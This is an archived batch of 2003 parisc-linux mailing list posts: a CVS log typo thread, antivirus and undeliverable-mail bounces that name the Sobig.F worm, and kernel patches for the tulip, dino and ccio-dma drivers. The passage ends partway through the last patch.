List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19431

Hi,

I think we have another mixup in the CVS:

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-September/033329.html


thanks, Max





From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS mixup
Date: Mon, 1 Sep 2003 17:44:00 +0100 (IST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0309011743030.11880-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0309011737410.11880-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622752 30642 80.91.229.3 (22 Nov 2014 02:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:12 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 10:44:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80A0B4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 10:44:03 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h81Gi3905472;
	Mon, 1 Sep 2003 17:44:03 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0309011737410.11880-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19432

On Mon, 1 Sep 2003, M. Grabert wrote:

> I think we have another mixup in the CVS:
>
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-September/033329.html

Mhh, on a second look it just looks like a typo:

2.4.0-test4-pa7 instead of 2.6.0-test4-pa7 in the CVS log ...

sorry about that

 Max




From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS mixup
Date: Mon, 1 Sep 2003 11:40:19 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20030901174019.GA18175@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0309011737410.11880-100000@sal.ucc.ie> <Pine.LNX.4.44.0309011743030.11880-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622753 30644 80.91.229.3 (22 Nov 2014 02:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 11:40:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E8B3C4830; Mon,  1 Sep 2003 11:40:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0309011743030.11880-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19433

On Mon, Sep 01, 2003 at 05:44:00PM +0100, M. Grabert wrote:
> 2.4.0-test4-pa7 instead of 2.6.0-test4-pa7 in the CVS log ...

yes - sorry

grant


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "RAV AntiVirus" <ravms@localhost.localdomain>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAV AntiVirus scan results
Date: Mon, 01 Sep 2003 16:32:06 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <200309012032.h81KW6gH009183@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset=US-ASCII
X-Trace: ger.gmane.org 1416622753 30653 80.91.229.3 (22 Nov 2014 02:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:13 +0000 (UTC)
Cc: agabriel@rcec.london.on.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 14:32:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (chancery.rcec.london.on.ca [209.226.13.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A2DB4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 14:32:16 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.5/8.12.5) with SMTP id h81KW6gH009183;
	Mon, 1 Sep 2003 16:32:06 -0400
Importance: high
X-Priority: 1
X-Mailer: ravmd/8.4.0
X-RAVMilter-Version: 8.4.1(snapshot 20020919) (localhost.localdomain)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19434


-----------------------
This e-mail is generated by the localhost.localdomain mail server to warn you that the e-mail
sent by parisc-linux@lists.parisc-linux.org to agabriel@rcec.london.on.ca is infected with virus: Win32/Sobig.F@mm.

Please contact your system administrator for further information.

If you are the sender:
-------------------
The scanned e-mail has your address in the <From> header field. Either your
computer is infected or someone's computer having your e-mail address in
the address book has been infected.

(Please note that some viruses are sending e-mails directly from your computer.
Our advise is to check your computer using an up-to-date antivirus product).

If you are the receiver:
---------------------
Please contact the sender: very probably he/she doesn't know he/she has a computer virus.

Actions taken for the infected files:
-------------------------------------


The infected file was saved to quarantine with name: 1062448326-RAVh81KVmgH009177.
The file (part0002:document_all.pif) attached to mail (with subject:Re: Details) sent by parisc-linux@lists.parisc-linux.org to agabriel@rcec.london.on.ca
is infected with virus: Win32/Sobig.F@mm.
Cannot clean this file.
The file was successfully deleted by RAV AntiVirus.
------------------------
this is a copy of the e-mail header:



RAV AntiVirus for Linux i386 version: 8.4.0 (snapshot-20020919)

Scan engine 8.11 for i386.
Last update: Mon, 01 Sep 2003 08:58:36 -04
Scanning for 81707 malwares (viruses, trojans and worms).


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mailer-Daemon@gw4.medctr.ohio-state.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Message status - undeliverable
Date: Mon, 01 Sep 2003 21:17:21 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <sf53b761.065@gw4.medctr.ohio-state.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_pcux+v+by+y5THX44JuWiw)"
X-Trace: ger.gmane.org 1416622753 30658 80.91.229.3 (22 Nov 2014 02:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 19:17:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from juno.medctr.ohio-state.edu (jupiter.medctr.ohio-state.edu [140.254.120.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 399364830
	for <parisc-linux@parisc-linux.org>; Mon,  1 Sep 2003 19:17:22 -0600 (MDT)
Original-Received: from gw4.medctr.ohio-state.edu
 (gw4.medctr.ohio-state.edu [140.254.139.156]) by hermes.medctr.ohio-state.edu
 (PMDF V5.2-31 #30648)
 with SMTP id <01L05XO828I88WXKY6@hermes.medctr.ohio-state.edu> for
 parisc-linux@parisc-linux.org; Mon, 1 Sep 2003 21:16:33 EDT
Original-Received: from OSUMC-Message_Server by gw4.medctr.ohio-state.edu	with
 Novell_GroupWise; Mon, 01 Sep 2003 21:17:21 -0400
X-Mailer: Novell GroupWise Internet Agent 5.5.7.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19435

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--Boundary_(ID_pcux+v+by+y5THX44JuWiw)
Content-type: text/plain; charset=US-ASCII
Content-disposition: inline
Content-transfer-encoding: 7BIT

The message that you sent was undeliverable to the following:
	erda01@gw.medctr.ohio-state.edu (user not found)

Possibly truncated original message follows:

--Boundary_(ID_pcux+v+by+y5THX44JuWiw)
Content-type: MESSAGE/RFC822

Received: from webshield1.medctr.ohio-state.edu by gw4.medctr.ohio-state.edu;
 Mon, 01 Sep 2003 21:17:17 -0400
Received: From juno.medctr.ohio-state.edu ([140.254.138.20])
 by webshield1.medctr.ohio-state.edu (WebShield SMTP v4.5 MR1a)
 ; id 1062466197111; Mon, 01 Sep 2003 21:29:57 -0400
Received: from directory-daemon by hermes.medctr.ohio-state.edu
 (PMDF V5.2-31 #30648) id <01L05XO3U5LC8WXGD1@hermes.medctr.ohio-state.edu> for
 erda01@gw.medctr.ohio-state.edu (ORCPT rfc822;erdal-1@medctr.osu.edu); Mon,
 01 Sep 2003 21:16:28 -0400 (EDT)
Received: from iris.medctr.ohio-state.edu
 (iris.medctr.ohio-state.edu [140.254.120.45]) by hermes.medctr.ohio-state.edu
 (PMDF V5.2-31 #30648)
 with SMTP id <01L05XO3JCM28WXKYD@hermes.medctr.ohio-state.edu> for
 erdal-1@medctr.osu.edu; Mon, 01 Sep 2003 21:16:27 -0400 (EDT)
Received: from WPZ ([24.95.46.197]) by iris.medctr.ohio-state.edu with ESMTP
 for erdal-1@medctr.osu.edu; Mon, 01 Sep 2003 21:19:43 -0400
Date: Mon, 01 Sep 2003 21:16:56 +0400
From: parisc-linux@parisc-linux.org
Subject: Re: Approved
To: erdal-1@medctr.osu.edu
Message-id: <01L05XO3JOV08WXKYD@hermes.medctr.ohio-state.edu>
MIME-version: 1.0
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_5V4+AeScWtvDi3N4es+JBA)"
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
X-MailScanner: Found to be clean

Network Associates WebShield SMTP V4.5 MR1a on webshield1 detected virus
W32/Sobig.f@MM in attachment unknown from <parisc-linux@parisc-linux.org> and it was Deleted.

--Boundary_(ID_5V4+AeScWtvDi3N4es+JBA)--

--Boundary_(ID_pcux+v+by+y5THX44JuWiw)--


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 03 Sep 2003 12:56:00 -0400
Lines: 191
Approved: news@gmane.org
Message-ID: <1062608161.2251.27.camel@mulgrave>
References: <20030903165113.138BF494064@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622754 30668 80.91.229.3 (22 Nov 2014 02:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:14 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  3 10:56:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 28000482E; Wed,  3 Sep 2003 10:56:02 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h83Gu0I03868;
	Wed, 3 Sep 2003 12:56:00 -0400
In-Reply-To: <20030903165113.138BF494064@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19436

On Wed, 2003-09-03 at 12:51, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	03/09/03 10:51:13
> 
> Modified files:
> 	.              : Makefile 
> 	drivers/net/tulip: eeprom.c tulip.h tulip_core.c 
> 	drivers/parisc : dino.c 
> 
> Log message:
> Fix card mode dino support and make HSC FX (tulip) card work

Patch is in two parts:  dino bit just corrects some thinkos in the card
mode dino code and adds the actual dino device to the prints (useful for
debugging if you have more than one dino).

The tulip fix simply adds the card to the tulip card table and makes it
all work.

I've tested this on my C360...however, I had to hack the ccio window to
get that to work...I need more time to make this code better.

James

===== drivers/net/tulip/eeprom.c 1.9 vs edited =====
--- 1.9/drivers/net/tulip/eeprom.c	Mon Oct 28 23:14:42 2002
+++ edited/drivers/net/tulip/eeprom.c	Wed Sep  3 11:41:24 2003
@@ -93,8 +93,13 @@
 #ifdef __hppa__
 	unsigned char *ee_data = tp->eeprom;
 
-	if (ee_data[0] == 0x3c && ee_data[1] == 0x10 && 
-		(ee_data[2] == 0x63 || ee_data[2] == 0x61) && ee_data[3] == 0x10) {
+	/* NOTE: The 3x5 FF cards the ee_data is trying to recognise
+	 * need to be brought properly under the tulip initialisation
+	 * structure */
+
+	if ((tp->flags & NEEDS_FAKE_MEDIA_TABLE) 
+	    || (ee_data[0] == 0x3c && ee_data[1] == 0x10 && 
+		(ee_data[2] == 0x63 || ee_data[2] == 0x61) && ee_data[3] == 0x10)) {
 
 		static unsigned char leafdata[] =
 			{ 0x01,       /* phy number */
===== drivers/net/tulip/tulip.h 1.15 vs edited =====
--- 1.15/drivers/net/tulip/tulip.h	Sun May 25 22:14:37 2003
+++ edited/drivers/net/tulip/tulip.h	Wed Sep  3 11:27:00 2003
@@ -64,6 +64,8 @@
 	COMET_MAC_ADDR		= 0x0800,
 	HAS_PCI_MWI		= 0x1000,
 	HAS_PHY_IRQ		= 0x2000,
+	HAS_SWAPPED_SEEPROM	= 0x4000,
+	NEEDS_FAKE_MEDIA_TABLE	= 0x8000,
 };
 

@@ -86,6 +88,7 @@
 	I21145,
 	DM910X,
 	CONEXANT,
+	HP_D21140,
 };
 

===== drivers/net/tulip/tulip_core.c 1.48 vs edited =====
--- 1.48/drivers/net/tulip/tulip_core.c	Tue Aug 19 22:53:17 2003
+++ edited/drivers/net/tulip/tulip_core.c	Wed Sep  3 11:42:48 2003
@@ -191,10 +191,17 @@
   /* RS7112 */
   { "Conexant LANfinity", 256, 0x0001ebef,
 	HAS_MII | HAS_ACPI, tulip_timer },
+
+  /* HP_D21140 */
+  { "HSC 100BaseTX Workstation single port (Digital DS21140 Tulip)", 128,
+    0x0001ebef,	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | HAS_PCI_MWI 
+    | HAS_SWAPPED_SEEPROM | NEEDS_FAKE_MEDIA_TABLE, tulip_timer },
+
 };
 

 static struct pci_device_id tulip_pci_tbl[] = {
+	{ 0x1011, 0x0009, 0x103c, 0x1062, 0, 0, HP_D21140 },
 	{ 0x1011, 0x0009, PCI_ANY_ID, PCI_ANY_ID, 0, 0, DC21140 },
 	{ 0x1011, 0x0019, PCI_ANY_ID, PCI_ANY_ID, 0, 0, DC21143 },
 	{ 0x11AD, 0x0002, PCI_ANY_ID, PCI_ANY_ID, 0, 0, LC82C168 },
@@ -1459,9 +1466,10 @@
 		int sa_offset = 0;
 		int ee_addr_size = tulip_read_eeprom(ioaddr, 0xff, 8) & 0x40000 ? 8 : 6;
 
-		for (i = 0; i < sizeof(tp->eeprom)/2; i++)
-			((u16 *)ee_data)[i] =
-				le16_to_cpu(tulip_read_eeprom(ioaddr, i, ee_addr_size));
+		for (i = 0; i < sizeof(tp->eeprom)/2; i++) {
+			u16 data = tulip_read_eeprom(ioaddr, i, ee_addr_size);
+			((u16 *)ee_data)[i] = (tp->flags & HAS_SWAPPED_SEEPROM) ? data : le16_to_cpu(data);
+		}
 
 		/* DEC now has a specification (see Notes) but early board makers
 		   just put the address in the first EEPROM locations. */
===== drivers/parisc/dino.c 1.10 vs edited =====
--- 1.10/drivers/parisc/dino.c	Sun Aug 24 06:50:06 2003
+++ edited/drivers/parisc/dino.c	Wed Sep  3 11:48:51 2003
@@ -401,23 +401,7 @@
 	{
 		int irq;
 
-		/*
-		 * Perform a binary search on set bits.
-		 * `Less than Fatal' and PS2 interrupts aren't supported.
-		 */
-		if (mask & 0xf) {
-			if (mask & 0x3) {
-				irq = (mask & 0x1) ? 0 : 1; /* PCI INT A, B */
-			} else {
-				irq = (mask & 0x4) ? 2 : 3; /* PCI INT C, D */
-			}
-		} else {
-			if (mask & 0x30) {
-				irq = (mask & 0x10) ? 4 : 5; /* PCI INT E, F */
-			} else {
-				irq = (mask & 0x40) ? 6 : 10; /* GSC, RS232 */
-			}
-		}
+		irq = __ffs(mask);
 
 		mask &= ~(1<<irq);
 
@@ -479,9 +463,18 @@
 	int i;
 	struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->dev));
 	struct resource *res;
+	char name[128];
+	int size;
 
 	res = &dino_dev->hba.lmmio_space;
 	res->flags = IORESOURCE_MEM;
+	size = snprintf(name, sizeof(name), "Dino LMMIO (%s)", bus->dev->bus_id);
+	res->name = kmalloc(size+1, GFP_KERNEL);
+	if(res->name)
+		strcpy((char *)res->name, name);
+	else
+		res->name = dino_dev->hba.lmmio_space.name;
+	
 
 	if (ccio_allocate_resource(dino_dev->hba.dev, res, _8MB,
 				(unsigned long) 0xfffffffff0000000UL | _8MB,
@@ -521,7 +514,7 @@
 	** Set Latency Timer to 0xff (not a shared bus)
 	** Set CACHELINE_SIZE.
 	*/
-	dino_cfg_write(dev->bus, dev->devfn, PCI_CACHE_LINE_SIZE, 16, 0xff00 | L1_CACHE_BYTES/4); 
+	dino_cfg_write(dev->bus, dev->devfn, PCI_CACHE_LINE_SIZE, 2, 0xff00 | L1_CACHE_BYTES/4); 
 
 	/*
 	** Program INT_LINE for card-mode devices.
@@ -532,13 +525,14 @@
 	** "-1" converts INTA-D (1-4) to PCIINTA-D (0-3) range.
 	** The additional "-1" adjusts for skewing the IRQ<->slot.
 	*/
-	dino_cfg_read(dev->bus, dev->devfn, PCI_INTERRUPT_PIN, 8, &irq_pin); 
+	dino_cfg_read(dev->bus, dev->devfn, PCI_INTERRUPT_PIN, 1, &irq_pin); 
+	printk("DINO CONFIG READ GIVES irq_pin %d\n", irq_pin);
 	dev->irq = (irq_pin + PCI_SLOT(dev->devfn) - 1) % 4 ;
 
 	/* Shouldn't really need to do this but it's in case someone tries
 	** to bypass PCI services and look at the card themselves.
 	*/
-	dino_cfg_write(dev->bus, dev->devfn, PCI_INTERRUPT_LINE, 8, dev->irq); 
+	dino_cfg_write(dev->bus, dev->devfn, PCI_INTERRUPT_LINE, 1, dev->irq); 
 }
 

@@ -818,8 +812,15 @@
 {
 	struct dino_device *dino_dev;	// Dino specific control struct
 	const char *version = "unknown";
-	const char *name = "Dino";
+	const int name_len = 32;
+	char *name;
 	int is_cujo = 0;
+
+	name = kmalloc(name_len, GFP_KERNEL);
+	if(name)
+		snprintf(name, name_len, "Dino %s", dev->dev.bus_id);
+	else
+		name = "Dino";
 
 	if (is_card_dino(&dev->id)) {
 		version = "3.x (card mode)";



From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 03 Sep 2003 16:07:01 -0400
Lines: 156
Approved: news@gmane.org
Message-ID: <1062619623.1781.31.camel@mulgrave>
References: <20030903200300.8B7B7494064@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622754 30669 80.91.229.3 (22 Nov 2014 02:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:14 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  3 14:07:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2ECE0482D; Wed,  3 Sep 2003 14:07:07 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h83K72I15459;
	Wed, 3 Sep 2003 16:07:02 -0400
In-Reply-To: <20030903200300.8B7B7494064@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19437

On Wed, 2003-09-03 at 16:03, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	03/09/03 14:03:00
> 
> Modified files:
> 	.              : Makefile 
> 	drivers/parisc : ccio-dma.c dino.c 
> 
> Log message:
> Add card mode dino support for machines with a CCIO.
> 
> This is rather simplistic: basically it simply tries to expand the
> existing ccio window by the dino card mode size (currently 8MB).  This could
> easily fail if there's no room on either side.
> 
> Unfortunately, the correct fix (to reprogram the ccio to take into account
> card mode dinos before beginning bus scanning) is rather complex.
> 
> Also fixed the allocation failure case to delete the devices on the bus
> so drivers don't try attaching to them.

Index: ccio-dma.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/ccio-dma.c,v
retrieving revision 1.3
diff -u -p -r1.3 ccio-dma.c
--- ccio-dma.c	2 Sep 2003 18:42:42 -0000	1.3
+++ ccio-dma.c	3 Sep 2003 19:59:34 -0000
@@ -1534,13 +1534,74 @@ static void __init ccio_init_resources(s
 			(unsigned long)&ioc->ioc_hpa->io_io_low_hv);
 }
 
-static void expand_ioc_area(struct ioc *ioc, unsigned long size,
-		unsigned long min, unsigned long max, unsigned long align)
+static int expand_resource(struct resource *res, unsigned long size,
+			   unsigned long align)
 {
-#ifdef NASTY_HACK_FOR_K_CLASS
-	__raw_writel(0xfffff600, (unsigned long)&(ioc->ioc_hpa->io_io_high));
-	ioc->mmio_region[0].end = 0xf5ffffff;
-#endif
+	struct resource *temp_res;
+	unsigned long start = res->start;
+	unsigned long end ;
+
+	/* see if we can expand above */
+	end = (res->end + size + align - 1) & ~(align - 1);;
+	
+	temp_res = __request_region(res->parent, res->end, end - res->end,
+				    "expansion");
+	if(!temp_res) {
+		/* now try below */
+		start = ((res->start - size + align) & ~(align - 1)) - align;
+		end = res->end;
+		temp_res = __request_region(res->parent, start, size,
+					    "expansion");	
+		if(!temp_res) {
+			return -ENOMEM;
+		}
+	} 
